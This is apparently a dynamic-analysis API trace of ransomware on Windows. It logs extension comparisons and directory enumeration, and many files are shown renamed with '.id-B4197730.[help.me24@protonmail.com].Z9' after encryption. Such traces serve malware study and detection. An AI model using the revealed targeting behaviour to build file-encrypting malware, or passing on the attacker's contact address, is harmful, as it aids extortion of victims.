	[0189.730] lstrlenW (lpString=".pff") returned 4
	[0189.730] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pfm") returned 4
	[0189.730] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pfx") returned 4
	[0189.730] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".pgm") returned 4
	[0189.730] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".php") returned 4
	[0189.730] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0189.730] lstrlenW (lpString=".php3") returned 5
	[0189.730] lstrcmpiW (lpString1=".php3", lpString2="e.dll") returned -1
	[0189.730] lstrlenW (lpString=".php4") returned 5
	[0189.731] lstrcmpiW (lpString1=".php4", lpString2="e.dll") returned -1
	[0189.731] lstrlenW (lpString=".php5") returned 5
	[0189.731] lstrcmpiW (lpString1=".php5", lpString2="e.dll") returned -1
	[0189.731] lstrlenW (lpString=".phtml") returned 6
	[0189.731] lstrcmpiW (lpString1=".phtml", lpString2="ce.dll") returned -1
	[0189.731] lstrlenW (lpString=".pict") returned 5
	[0189.731] lstrcmpiW (lpString1=".pict", lpString2="e.dll") returned -1
	[0189.731] lstrlenW (lpString=".pl") returned 3
	[0189.731] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0189.731] lstrlenW (lpString=".pls") returned 4
	[0189.731] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".pm") returned 3
	[0189.731] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0189.731] lstrlenW (lpString=".png") returned 4
	[0189.731] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".pnm") returned 4
	[0189.731] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".pot") returned 4
	[0189.731] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".potm") returned 5
	[0189.731] lstrcmpiW (lpString1=".potm", lpString2="e.dll") returned -1
	[0189.731] lstrlenW (lpString=".potx") returned 5
	[0189.731] lstrcmpiW (lpString1=".potx", lpString2="e.dll") returned -1
	[0189.731] lstrlenW (lpString=".ppa") returned 4
	[0189.731] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".ppam") returned 5
	[0189.731] lstrcmpiW (lpString1=".ppam", lpString2="e.dll") returned -1
	[0189.731] lstrlenW (lpString=".ppm") returned 4
	[0189.731] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".pps") returned 4
	[0189.731] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".ppsm") returned 5
	[0189.731] lstrcmpiW (lpString1=".ppsm", lpString2="e.dll") returned -1
	[0189.731] lstrlenW (lpString=".ppt") returned 4
	[0189.731] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.731] lstrlenW (lpString=".pptm") returned 5
	[0189.732] lstrcmpiW (lpString1=".pptm", lpString2="e.dll") returned -1
	[0189.732] lstrlenW (lpString=".pptx") returned 5
	[0189.732] lstrcmpiW (lpString1=".pptx", lpString2="e.dll") returned -1
	[0189.732] lstrlenW (lpString=".prn") returned 4
	[0189.732] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".ps") returned 3
	[0189.732] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0189.732] lstrlenW (lpString=".psb") returned 4
	[0189.732] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".psd") returned 4
	[0189.732] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".pst") returned 4
	[0189.732] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".ptx") returned 4
	[0189.732] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".pub") returned 4
	[0189.732] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".pwm") returned 4
	[0189.732] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".pxr") returned 4
	[0189.732] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".py") returned 3
	[0189.732] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0189.732] lstrlenW (lpString=".qt") returned 3
	[0189.732] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0189.732] lstrlenW (lpString=".r3d") returned 4
	[0189.732] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".raf") returned 4
	[0189.732] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".rar") returned 4
	[0189.732] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.732] lstrlenW (lpString=".raw") returned 4
	[0189.732] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0189.733] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.733] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0189.734] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.734] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0189.734] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.734] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0189.735] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.736] FindNextFileW (in: hFindFile=0x3fb2098, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="System", cAlternateFileName="")) returned 0
	[0189.736] FindClose (in: hFindFile=0x3fb2098 | out: hFindFile=0x3fb2098) returned 1
	[0189.736] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3f90050 | out: hHeap=0x750000) returned 1
	[0189.736] FindNextFileW (in: hFindFile=0x3fb2398, lpFindFileData=0x35efa7c | out: lpFindFileData=0x35efa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3788b3ca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3788b3ca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3788b3ca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x1580, dwReserved1=0xffffcf8e, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 1
	[0189.737] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.737] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0189.737] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.737] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7ef8f0, ftCreationTime.dwHighDateTime=0x1d5ac45, ftLastAccessTime.dwLowDateTime=0xb15d8f60, ftLastAccessTime.dwHighDateTime=0x1d54fa3, ftLastWriteTime.dwLowDateTime=0xb15d8f60, ftLastWriteTime.dwHighDateTime=0x1d54fa3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="limitedcatchexemption.exe", cAlternateFileName="LIMITE~1.EXE")) returned 1
	[0189.738] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.738] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0189.738] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3f90050 | out: hHeap=0x750000) returned 1
	[0189.738] FindNextFileW (in: hFindFile=0x3fb2398, lpFindFileData=0x35efa7c | out: lpFindFileData=0x35efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b72c235, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72c235, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1580, dwReserved1=0xffffcf8e, cFileName="Java", cAlternateFileName="")) returned 1
	[0189.740] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.740] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427d70a2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x427d70a2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x427d70a2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x753c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DT_SHM~1.Z9")) returned 1
	[0189.743] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.743] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43eda099, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43eda099, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f265c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="POLICY~1.Z9")) returned 1
	[0189.745] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.745] FindNextFileW (in: hFindFile=0x3fb2158, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4413c66a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4413c66a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x441aee65, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SERVER~1.Z9")) returned 1
	[0189.746] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.746] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446e603b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446e603b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4470c237, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="COPYRI~1.Z9")) returned 1
	[0189.746] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.746] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0189.746] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.746] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4470c237, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4470c237, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44ac5d15, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="CALEND~1.Z9")) returned 1
	[0189.748] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.748] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44c8f835, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x44c8f835, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44cb5ac9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="CONTEN~1.Z9")) returned 1
	[0189.750] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.750] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x450bbaa3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x58e8de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DEPLOY~1.Z9")) returned 1
	[0189.751] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.751] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0189.751] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.751] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0189.752] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.752] FindNextFileW (in: hFindFile=0x3fb2098, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0189.752] FindClose (in: hFindFile=0x3fb2098 | out: hFindFile=0x3fb2098) returned 1
	[0189.752] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.752] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0189.752] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x3fc3078, Size=0x4000) returned 0x3fc3078
	[0189.753] FindNextFileW (in: hFindFile=0x3fb2098, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="profile.jfc", cAlternateFileName="")) returned 1
	[0189.753] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.753] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0189.753] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.753] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0189.754] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0189.754] FindNextFileW (in: hFindFile=0x3fb2818, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0189.754] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.754] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0189.755] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.756] FindNextFileW (in: hFindFile=0x3fb2598, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453eb7e0, ftCreationTime.dwHighDateTime=0x1d5887f, ftLastAccessTime.dwLowDateTime=0xc20fde90, ftLastAccessTime.dwHighDateTime=0x1d5a952, ftLastWriteTime.dwLowDateTime=0xc20fde90, ftLastWriteTime.dwHighDateTime=0x1d5a952, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="ride_australian.exe", cAlternateFileName="RIDE_A~1.EXE")) returned 1
	[0189.757] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3f90050 | out: hHeap=0x750000) returned 1
	[0189.757] FindNextFileW (in: hFindFile=0x3fb2398, lpFindFileData=0x35efa7c | out: lpFindFileData=0x35efa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x384264eb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x384264eb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1580, dwReserved1=0xffffcf8e, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0189.923] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.923] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2f44ae, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b2f44ae, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0189.926] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fb3070 | out: hHeap=0x750000) returned 1
	[0189.926] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcb7c, dwReserved1=0xb7e, cFileName="root", cAlternateFileName="")) returned 1
	[0189.930] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
